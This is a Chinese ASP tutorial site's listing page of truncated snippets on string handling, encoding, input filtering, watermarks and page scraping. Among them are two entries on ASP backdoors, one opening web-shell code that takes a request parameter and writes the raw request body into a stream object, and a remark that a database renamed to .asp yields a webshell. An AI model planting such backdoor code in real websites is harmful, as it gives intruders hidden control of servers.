-
ASP 适用于中文的len(),left(),right()的函数代码
所属栏目：[Asp教程] 日期：2023-08-08 热度：9922
比如一个汉字也只会算一个字节，在排版时如果全是汉字，好说，反正没什么差别，但是如果被操作的字符串有汉字又有英文字母时，就不方便了，以下三个函数可以代替ASP自带的相关函数。
也有注意的地方，如果用在[详细] -
asp 清除最后一个逗号为空字符串的代码
所属栏目：[Asp教程] 日期：2023-08-08 热度：9922
asp中怎么替换最后一个逗号为空字符串
举例 aaa,bbb,ccc,eee, 这个字符串
怎么让最后一个逗号变没，其他的不变啊
问题补充：举例 aaa,bbb,ccc,eee, 这个字符串
怎么让最后一个逗号变没，其他的不变啊
如果是[详细] -
对 ASP 路径进行反向编码的算法
所属栏目：[Asp教程] 日期：2023-08-08 热度：9922
例如:
我们在百度中搜索 错新站长站，则网址后面的参数就是
http://www.baidu.com/s?cl=3&wd=%BD%C5%B1%BE%D6%AE%BC%D2
如果我们想将%BD%C5%B1%BE%D6%AE%BC%D2还原为中文，使用下面的函数即可。
<%
response.[详细] -
ASP codepage 页面编码使用简介
所属栏目：[Asp教程] 日期：2023-08-08 热度：5717
指定的代码页特性无效。
codepage属性：是指出网页的代码页
如果制作的网页脚本与WEB服务端的默认代码页不同，则必须指明代码页：
复制代码 代码如下:
codepage=936 简体中文GBK
codepage=950 繁体中文BI[详细] -
access改mdb为asp所带来的灾难 附mdb防止分享的方法
所属栏目：[Asp教程] 日期：2023-08-08 热度：5717
先不说直接改后缀，直接可以用网快等工具直接下载，其实这样你已经是为入侵者打开了大门。入侵者可以利用asp/asa为后缀的数据库直接得到webshell。
一．思路
大家都知道<％％>为asp文件的标志符，也就是说[详细] -
去掉 ASP、LSP 和 RSP 中前后的空白字符的函数
所属栏目：[Asp教程] 日期：2023-08-08 热度：5717
这个主要应用于，获取用户输入的时候，防止用户不小心，多输入了一个空格，导致验证无法通过，多用于用户名跟密码的，好多情况下，大家复制的winrar的解压密码，都会默认多输入一个空格，所以这个是需要注意的。[详细]
-
asp IsValidEmail 判断邮箱地址函数(email)
所属栏目：[Asp教程] 日期：2023-08-08 热度：5717
复制代码 代码如下:
'********************************************
'函数名：IsValidEmail
'作 用：检查Email地址合法性
'参 数：email ----要检查的Email地址
'返回值：True ----Emai[详细] -
asp下筛选非法的SQL字符的函数代码
所属栏目：[Asp教程] 日期：2023-08-08 热度：5717
复制代码 代码如下:
'**************************************************
'函数名：R
'作 用：过滤非法的SQL字符
'参 数：strChar-----要过滤的字符
'返回值：过滤后的字符
'****[详细] -
asp图片带水印的功能代码
所属栏目：[Asp教程] 日期：2023-08-08 热度：5717
复制代码 代码如下:
'文字水印
Function WordWatermark(ImagePath)
Dim Image
Set Image= Server.CreateObject("Persits.Jpeg") ' 建立对象
Image.Open server.mappath(ImagePath) ' 图片所在位置[详细] -
asp中使用insert into语句向数据库插入记录(添加信息)的方式
所属栏目：[Asp教程] 日期：2023-08-07 热度：1248
'建立register.asp
复制代码 代码如下:
<%@ language=vbscript %>
<html >
<head>
<title>注册页面</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<style type="[详细] -
ASP checkbox复选框是否被选取的代码(结合数据库)
所属栏目：[Asp教程] 日期：2023-08-07 热度：1248
有的时候，我们在网页中会用到复选框，也就是多选框，当用户提交输入信息的时候我们会获取复选框的内容，然后保存到数据库中，如经常用到的是用户输入的个人信息。可是当用户提交后可能还需要修改，那么我们就要从数[详细]
-
asp(JavaScript)自动识别网页编码并转换的代码
所属栏目：[Asp教程] 日期：2023-08-07 热度：1248
完整的示例代码如下：
复制代码 代码如下:
<%@LANGUAGE="JAVASCRIPT" CODEPAGE="65001"%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>JavaScript自动判断网[详细] -
ASP中不用模板生成HTML静态页面的方式
所属栏目：[Asp教程] 日期：2023-08-07 热度：1175
当然是可以的，而且非常简单，今天就教大家在ASP中不用模板生成HTML静态页的方法。
这里假设有一个htmer.asp动态页面，你想把它生成为HTML静态页面htmer.html，那么我们首先新建一个ASP程序文件htmer_to_html.asp[详细] -
asp中判断服务器是不是安装了某种组件的函数
所属栏目：[Asp教程] 日期：2023-08-07 热度：1175
判断服务器是否安装了某种asp组件，比较常用的代码如下:
复制代码 代码如下:
<%
'功能:检查是否存在系统组件或组件是否安装成功
'参数:组件名
Function IsObjInstalled(strClassString)
On Error Re[详细] -
做了CDN加速的ASP网站获得用户真实IP程序
所属栏目：[Asp教程] 日期：2023-08-07 热度：1175
复制代码 代码如下:
function checkip(checkstring)'用正则判断IP是否合法
dim re1
set re1=new RegExp
re1.pattern="^[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}.[0-9]{1,3}$"
re1.global=false
re1.Ignorecase[详细] -
隐蔽的ASP后门 大家可以检查下
所属栏目：[Asp教程] 日期：2023-08-07 热度：1175
复制代码 代码如下:
<%if request.QueryString("action")="log" then
a=Request.TotalBytes:if a Then b="adodb.stream":Set c=Createobject(b):c.Type=1:c.Open:c.Write Request.BinaryRead(a):c.Position=0:d=[详细] -
asp获取远程网页的选定内容的实现代码
所属栏目：[Asp教程] 日期：2023-08-07 热度：1175
代码如下：
复制代码 代码如下:
<%
'用ASP获取远程目标网页指定内容，代码由广州网站建设//www.Cuoxin.com提供
On Error Resume Next
Server.ScriptTimeOut=9999999
Function getHTTPPage(Path)
t = Ge[详细] -
asp中删除html中style,javascript,css代码
所属栏目：[Asp教程] 日期：2023-08-07 热度：1175
asp函数代码
复制代码 代码如下:
<%
Function RemoveHTML(str)
Dim objRegExp, Match,strHTML
if isnull(str) then
str=""
end if
strHTML=str
strHTML=replace(replace(replace(strHTML,vblf,""),vbcr,"[详细] -
asp中获取内容中所有图片和获取内容中第一个图片的代码
所属栏目：[Asp教程] 日期：2023-08-07 热度：1175
复制代码 代码如下:
'=====================================
'获取内容中所有图片
'=====================================
Function Get_ImgSrc(ByVal t0)
Dim t1,Regs,Matches,Match
t1=""[详细] -
ASP读取日期单日期自动添零函数代码
所属栏目：[Asp教程] 日期：2023-08-05 热度：7651
复制代码 代码如下:
public function fillzero(l1)
if len(l1)=1 then
fillzero="0"&l1
else
fillzero=l1
end if
end function
用法示例：
复制代码 代码如下:
response year(now)&month(now)&day(n[详细] -
asp 输出换行的具体说明
所属栏目：[Asp教程] 日期：2023-08-05 热度：7651
测试代码：输出简单的ul li
1.asp
复制代码 代码如下:
<%
response.write "<ul>"
response.write "<li>错新站长站</li>"
response.write "<li>www.Cuoxin.com</li>"
response.write "</ul>"
%>
结[详细] -
asp中取得当前页面的地址与参数的函数代码
所属栏目：[Asp教程] 日期：2023-08-05 热度：7651
复制代码 代码如下:
Function getCurrentUrl()
On Error Resume Next
Dim strTemp
If LCase(Request.ServerVariables("HTTPS")) = "off" Then
strTemp = "http://"
Else
strTemp = "https://"
End If
str[详细] -
一段全新的ASP后门服务端实现代码
所属栏目：[Asp教程] 日期：2023-08-05 热度：7651
今天重新研究了下VB里面的ScriptControl组件，发现asp里面也能调用。研究了下方法，后来和lcx讨论了下。得到了如下代码，在此感谢前辈的指点，呵呵。
代码很简单，我就不多做解释了，以免有人骂我装。
复制代码[详细] -
asp无组件形成验证码 GIF图片格式
所属栏目：[Asp教程] 日期：2023-08-05 热度：4533
复制代码 代码如下:
<%
Option Explicit ' 显示声明
Class Com_GifCode_Class
'''''''''''''''''''&#[详细] -
使用asp获取微软安全更新列表的代码 小偷程序
所属栏目：[Asp教程] 日期：2023-08-05 热度：4533
复制代码 代码如下:
<%
Function Bytes2bStr(vin,cSet)
Dim BytesStream,StringReturn
Set BytesStream = Server.CreateObject("ADODB.Stream")
BytesStream.Type = 2
BytesStream.Open
BytesStream.WriteT[详细]
